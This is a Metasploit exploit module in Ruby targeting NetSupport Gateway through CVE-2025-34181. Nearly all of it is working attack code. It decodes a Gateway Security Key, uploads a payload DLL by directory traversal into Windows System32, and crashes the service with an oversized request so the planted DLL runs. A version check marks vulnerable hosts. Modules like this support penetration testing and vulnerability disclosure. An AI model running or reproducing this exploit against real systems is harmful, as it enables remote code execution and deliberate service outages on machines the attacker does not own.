##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  
  Rank = NormalRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NetSupport Gateway - File Upload Code Execution',
        'Description' => %q{
          This module exploits a directory traversal vulnerability (CVE-2025-34181) in NetSupport Gateway
          to upload a DLL payload.

          A valid GSK from client32.ini (distributed to clients) is required to exploit the bug.

        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Chris Leech' ],
        'References' => [
          [ 'CVE', '2025-34181' ],
          [ 'CVE', '2025-34180' ],
          [ 'URL', 'https://www.netsupportsoftware.com/' ]
        ],
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Targets' => [
          [ 'NetSupport Gateway (64 bit)', {} ]
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-09-07',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        },
      )
    )

  register_options(
    [
      Opt::RHOSTS,
      Opt::RPORT(443),
      OptString.new('GSK', [true, 'Gateway Security Key (GSK) from client32.ini', nil])
    ]
  )
  end

  def check
    response = send_request_raw({
      'uri'    => normalize_uri('statuspage.htm'),
      'method' => 'GET'
    })
    if response&.body&.include?("Gateway Status Page")
      version = response.body[/\d+\.\d+\.\d+\.\d+/]
    else
      print_error("No response from the server")
    end
    return CheckCode::Unknown("Could not extract a version number") if version.nil?
    return CheckCode::Safe("Detected gateway version #{version}") if Rex::Version.new(version) > Rex::Version.new('14.12.0.307')
    return CheckCode::Vulnerable("Detected gateway version #{version}") if Rex::Version.new(version) <= Rex::Version.new('14.12.0.307')
  end

  def communication_gen(password)
    hash = Digest::MD5.new
    hash.update(password)
    encoded = Rex::Text.encode_base64(hash.digest)
    encoded.tr("=/", "A)")
  end

  def decode_gsk(a1, cipher_str)
    cipher_str = cipher_str.chomp("\0")
    pairs = cipher_str.scan(/../)
    i = pairs.length + a1 + 10
    a1 &= 0xFFFF
    decoded = []
    pairs.each do |pair|
      high = pair.getbyte(0) - 65
      low  = pair.getbyte(1) - 65
      current = (high << 4) | low
      byte = (current - i) & 0xFF
    decoded << byte
    a1 = ((a1 >> 1) | ((a1 & 1) << 15)) & 0xFFFF
    i += byte + a1
  end
  decoded.pack("C*")
  end

  def encode(data)
    data.bytes.each_with_object(+"") do |b, out|
      enc = (b + 42) & 0xFF
      if [0x00, 0x0D, 0x0A, 0x3D].include?(enc)
        out << '='
        out << ((enc + 64) & 0xFF).chr
      else
        out << enc.chr
      end
    end.force_encoding(::Encoding::BINARY)
  end
  
  def upload_dll(data, data_len, comm_key, path)
    res = send_request_cgi({
      'headers' => {
        'User-Agent' => 'NetSupport Manager 1.1',
        'Accept' => '*/*'
      },
      'method' => 'POST',
      'uri'    => '/',
      'ctype'  => 'application/x-www-form-urlencoded',
      'data'   => "CMD=PUTFILE\nGSK=#{comm_key}\nON=0\nPWD=0\nFLEN=#{data_len}\nOFFSET=0\nSUB=0\nFNAME=#{path}\nDATA=#{data}\nMORE=0\n"
    })
  end

  def exploit
    decoded = decode_gsk(0, datastore['GSK'])
    comm_key = communication_gen(decoded)
    print_status("Decoded GSK: #{decoded}")
    print_status("Generated communication key: #{comm_key}")

    dll_data = generate_payload_dll
    dll_encoded = encode(dll_data)
    print_status("Generated DLL of size #{dll_data.length}")
    
    fail_with(Failure::BadConfig, "Encoded DLL is too large (size: #{dll_encoded.length})") if dll_encoded.length > 70000
    
    upload_dll(dll_encoded, dll_data.length, comm_key, "../../../../../Windows/System32/symsrv.dll")
    print_status("Sent upload request... time to crash :^)")
    sleep 2

    begin
      send_request_raw({
        'uri'    => normalize_uri('A' * 1000),
        'method' => 'GET'
      })
    rescue ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::ECONNRESET
      res = nil
    end
  end

end
